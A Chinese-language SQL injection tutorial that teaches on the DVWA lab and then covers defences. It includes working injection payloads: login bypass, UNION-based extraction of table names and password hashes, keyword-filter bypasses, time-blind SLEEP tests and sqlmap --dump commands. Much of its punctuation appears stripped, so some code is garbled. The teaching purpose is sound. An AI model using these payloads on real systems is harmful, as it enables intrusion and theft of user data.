
1. 先搞清楚 SQL 注入到底能做什么以及为什么它这么危险SQL 注入不是那种“听起来高级但实际用不到”的技术。它最直接的危险是攻击者能通过一个看似正常的输入框直接操作你的数据库。这意味着他们可以绕过登录验证、查看所有用户数据、修改甚至删除整个数据库表。很多人觉得“我的网站有登录验证应该没问题”但 SQL 注入恰恰经常发生在登录框、搜索框、订单查询这些最普通的功能里。攻击者不需要知道你的数据库密码他们只需要在输入框里输入一段特殊构造的文本如果你的程序没有正确处理输入数据库就会把这段文本当成命令执行。举个例子一个正常的登录查询可能是这样的SELECT * FROM users WHERE username 输入的用户名 AND password 输入的密码如果用户在用户名框输入admin --查询就变成了SELECT * FROM users WHERE username admin -- AND password ...--在 SQL 里是注释符后面的条件被忽略掉了攻击者直接用 admin 账号登录成功。这还只是最基础的绕过登录。更严重的注入能直接导出整个数据库的表结构、用户密码哈希值、个人隐私信息甚至通过数据库的功能直接写入 webshell控制整个服务器。所以学 SQL 注入首先要知道它不是什么“高级黑客技术”而是开发时一个简单的疏忽就能导致的严重漏洞。下面我会从最简单的环境搭建开始带你实际复现几种典型的注入场景。2. 搭建一个能安全练习的测试环境我强烈建议不要在任何现网系统上测试 SQL 注入哪怕是自己的项目。最好用专门设计的靶场环境比如 DVWA、SQLi Labs 或 Pikachu 靶场。这些环境故意留出漏洞但完全隔离在本地不会影响任何真实系统。以 DVWA 为例你可以用以下几种方式快速搭建方案一使用 Docker最快# 拉取 DVWA 镜像 docker pull vulnerables/web-dvwa # 启动容器 docker run --rm -p 80:80 vulnerables/web-dvwa访问http://localhost就能看到登录页面默认账号密码是 admin/password。方案二本地 PHP 环境如果你有 XAMPP、WAMP 或自己搭的 PHP 环境下载 DVWA 源码解压到网站目录按提示配置数据库就行。关键配置点数据库连接信息要正确DVWA 的配置文件是config/config.inc.php安全级别设置为 Low 开始练习后面再调高难度确保只在本地访问不要暴露到公网为什么我特别强调环境隔离因为真实的注入测试可能触发数据库的敏感操作比如删除表、插入恶意数据。在靶场里这些操作都是可逆的数据库会定期重置。搭建好后先别急着测试花几分钟熟悉一下靶场的功能模块用户登录、搜索、留言板这些常见功能在哪里不同安全级别Low/Medium/High有什么区别如何重置数据库到初始状态这些准备能让你在后续测试时更专注于注入技术本身而不是被环境问题干扰。3. 从最简单的数字型注入开始上手数字型注入是最容易理解的类型通常出现在 URL 参数、商品ID、文章ID这种明显是数字的地方。在 DVWA 的 SQL Injection 模块安全级别调到 Low你会看到一个输入用户ID的查询框。正常输入 1会返回用户ID为1的信息。现在试试输入1数字1加一个单引号。如果页面报错显示类似下面的信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...这说明你的输入被直接拼接到 SQL 语句里了而且单引号破坏了原本的语法结构。为什么单引号能引起报错因为后端代码可能是这样写的$id $_GET[id]; $sql SELECT * FROM users WHERE user_id $id;当你输入1时SQL 变成SELECT * FROM users WHERE user_id 1最后一个单引号没有匹配语法错误。但更常见的是带引号的写法$sql SELECT * FROM users WHERE user_id $id;输入1时SELECT * FROM users WHERE user_id 1两个单引号连在一起同样报错。利用报错信息判断数据库类型不同的数据库报错信息不一样MySQL会显示 MySQL server versionSQL Server经常提到 Microsoft SQL ServerOracle可能看到 ORA-知道数据库类型很重要因为后续的注入语句和技巧都跟具体数据库相关。DVWA 默认是 MySQL我们就按 MySQL 来继续。构造第一个有效的注入语句输入1 OR 11注意观察返回结果。如果返回了所有用户信息说明注入成功。背后的原理是原始SQL可能是SELECT * FROM users WHERE user_id 1 OR 1111永远为真所以条件相当于WHERE true返回所有数据。这就是最基本的“永真条件”注入。通过这个简单的测试你已经确认了漏洞存在并且能控制查询逻辑。4. 手工注入的完整流程从探测到获取数据确认存在注入点后系统化的手工注入应该按这个顺序进行4.1 判断字段数量使用ORDER BY子句来判断查询返回的列数1 ORDER BY 1 -- 1 ORDER BY 2 -- 1 ORDER BY 3 --一直增加到页面报错最后一个成功的数字就是字段数。--后面要加空格这是 MySQL 注释的规范。4.2 确定显示位置用UNION SELECT找出哪些字段会在页面上显示1 UNION SELECT 1,2,3 --如果页面正常显示并且出现了数字 1、2、3说明这些位置可以用来显示我们想要的信息。4.3 获取数据库信息利用 MySQL 的系统函数和数据库# 查看当前数据库 1 UNION SELECT 1,database(),3 -- # 查看 MySQL 版本 1 UNION SELECT 1,version(),3 -- # 查看当前用户 1 UNION SELECT 1,user(),3 --这些信息能帮你了解目标环境为后续操作做准备。4.4 获取表名MySQL 中表信息存储在information_schema.tables里1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() --group_concat()把多个表名合并成一个字符串显示避免多次查询。4.5 获取列名知道表名后比如 users查它的列结构1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers --4.6 提取数据最后直接查询敏感数据1 UNION SELECT 1,group_concat(user_id,0x3a,user,0x3a,password),3 FROM users --0x3a是冒号的十六进制用作分隔符让结果更易读。这一套流程走下来你就能从只有一个注入点开始逐步获取整个数据库的结构和数据。手工注入的意义不在于效率而在于理解每个步骤的原理和数据库的运作方式。5. 不同防御级别下的绕过技巧DVWA 的安全级别设置很好地模拟了真实世界的防御强度5.1 Low 级别无防御就是前面演示的情况直接拼接 SQL 语句几乎没有任何过滤。这种现在比较少见但一些老旧系统或开发经验不足的项目可能还存在。5.2 Medium 级别部分过滤Medium 级别通常会对输入进行一些处理比如使用mysql_real_escape_string()转义特殊字符将 GET 参数改为 POST 参数对数字型参数进行类型转换绕过方法对于数字型注入即使转义了引号也没用因为数字本身不需要引号1 OR 11如果参数本来是数字直接构造逻辑表达式即可。对于 POST 请求需要用 Burp Suite 或浏览器开发者工具修改请求参数而不是在页面上输入。5.3 High 级别较强防御High 级别可能采用输入限制长度、字符类型预编译语句但实现可能有误多重验证绕过思路如果输入长度受限尝试分段获取数据# 第一次获取前10个字符 1 UNION SELECT 1,substring(password,1,10),3 FROM users WHERE user_id1 -- # 第二次获取后续字符 1 UNION SELECT 1,substring(password,11,10),3 FROM users WHERE user_id1 --如果某些关键词被过滤尝试大小写混合、双写绕过、注释分割# 双写绕过 1 UNIUNIONON SELSELECTECT 1,2,3 -- # 注释分割 1 UN/**/ION SEL/**/ECT 1,2,3 --5.4 Impossible 级别基本免疫Impossible 级别通常使用参数化查询预编译语句这是目前最有效的防御方式。参数化查询将代码和数据完全分离即使用户输入包含 SQL 指令也会被当作普通字符串处理。6. 自动化工具的使用场景和风险手工注入理解了原理后可以适当使用自动化工具提高效率但要知道它们的局限性。SQLmap 的基本用法# 检测注入点 sqlmap -u http://localhost/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDyour_session_id; securitylow # 获取数据库列表 sqlmap -u http://localhost/vulnerabilities/sqli/?id1SubmitSubmit --cookie... --dbs # 获取指定数据库的表 sqlmap -u http://localhost/vulnerabilities/sqli/?id1SubmitSubmit --cookie... -D dvwa --tables # 导出表数据 sqlmap -u http://localhost/vulnerabilities/sqli/?id1SubmitSubmit --cookie... -D dvwa -T users --dump使用自动化工具的风险容易被发现SQLmap 会产生大量异常请求正常WAF很容易检测到可能破坏数据某些payload会尝试创建、修改、删除数据法律风险在未经授权的系统上使用可能违法我更建议的使用方式只在你自己控制的测试环境使用先用手工注入确认漏洞存在再用工具批量获取数据仔细阅读工具的输出理解它在每个阶段做了什么不要完全依赖工具手工注入的能力才是根本7. 开发中如何彻底避免 SQL 注入知道了攻击方法更重要的是知道如何防御。以下是按有效性排序的防御方案7.1 参数化查询首选方案参数化查询也叫预编译语句是唯一能从根本上解决注入的方法。错误做法拼接SQLString sql SELECT * FROM users WHERE username username ; Statement stmt connection.createStatement(); ResultSet rs stmt.executeQuery(sql);正确做法参数化查询String sql SELECT * FROM users WHERE username ?; PreparedStatement stmt connection.prepareStatement(sql); stmt.setString(1, username); ResultSet rs stmt.executeQuery();即使 username 包含admin --也只会被当作普通字符串查询不会改变SQL结构。7.2 使用ORM框架现代ORM框架如MyBatis、Hibernate通常内置了参数化查询。MyBatis 的正确用法!-- 使用 #{} 而不是 ${} -- select idfindUser parameterTypeString resultTypeUser SELECT * FROM users WHERE username #{username} /select#{}会被替换成参数占位符而${}是直接拼接存在注入风险。7.3 输入验证和过滤作为辅助手段但不能单独依赖白名单验证比如ID只能是数字用正则^\d$验证长度限制避免过长的输入类型转换数字参数直接转成整数类型7.4 最小权限原则数据库用户应该按最小权限分配应用数据库用户不应该有 DROP、CREATE 等高级权限不同功能使用不同数据库账号定期审查权限设置7.5 Web应用防火墙WAFWAF 能拦截常见的攻击模式但只是纵深防御的一环不能替代代码安全。8. 真实漏洞案例分析从发现到修复看一个实际漏洞报告的例子理解漏洞的完整生命周期漏洞背景某CMS系统的搜索功能接收关键词参数后直接拼接SQL$keyword $_GET[q]; $sql SELECT * FROM articles WHERE title LIKE %$keyword%;发现过程测试人员在搜索框输入test页面返回数据库错误信息确认存在注入。利用过程通过联合查询攻击者获取了管理员表的数据包括用户名和MD5加密的密码。修复方案紧急版本改用参数化查询$stmt $pdo-prepare(SELECT * FROM articles WHERE title LIKE ?); $stmt-execute([%$keyword%]);对现有代码进行全面安全审计找出类似问题加强输入验证添加WAF规则作为临时防护经验教训不要依赖前端验证所有输入都要在后端严格处理错误信息不要直接显示给用户避免信息泄露定期进行安全代码审查和渗透测试9. 检测和排查SQL注入漏洞的方法如果你是维护者而不是攻击者需要掌握如何发现和修复自己项目的注入漏洞。9.1 代码审计重点区域检查所有数据库操作的地方用户输入直接拼接的地方动态表名、列名拼接IN 子句的参数处理排序 order by 参数处理9.2 自动化扫描工具静态扫描SonarQube、Checkmarx 等能检测代码中的安全隐患动态扫描Burp Suite、Acunetix 等通过模拟攻击检测漏洞9.3 手动测试要点对每个用户输入点尝试单引号测试基本注入数字型参数测试1 OR 11观察返回结果差异和错误信息测试时间盲注1 AND SLEEP(5) --9.4 日志分析监控数据库查询日志寻找异常模式异常长的查询语句包含 UNION、SELECT、FROM information_schema 的查询同一用户短时间内大量不同参数的查询10. 从学习到实战的路径建议SQL注入是Web安全的基础但不要止步于此。一个系统的学习路径应该是第一阶段基础掌握理解HTTP协议和Web工作原理学习SQL语法和数据库基础掌握手工注入的完整流程搭建和使用常见靶场第二阶段工具和自动化学习使用 SQLmap、Burp Suite 等工具理解工具的原理和限制练习在不同防御级别下的绕过技巧第三阶段防御和开发安全学习安全的编程实践理解各种防御方案的原理和实现参与实际项目的代码审计和安全测试第四阶段综合实践参加CTF比赛锻炼实战能力在合法授权下进行渗透测试关注最新漏洞和防御技术最重要的是始终保持合法合规的意识。所有测试都必须在授权范围内进行真正的价值在于帮助提高整个行业的安全水平而不是利用技术进行非法活动。SQL注入虽然是一个古老的漏洞类型但直到今天仍然在很多系统中存在。理解它的原理和防御方法是每一个Web开发者和安全从业者的基本功。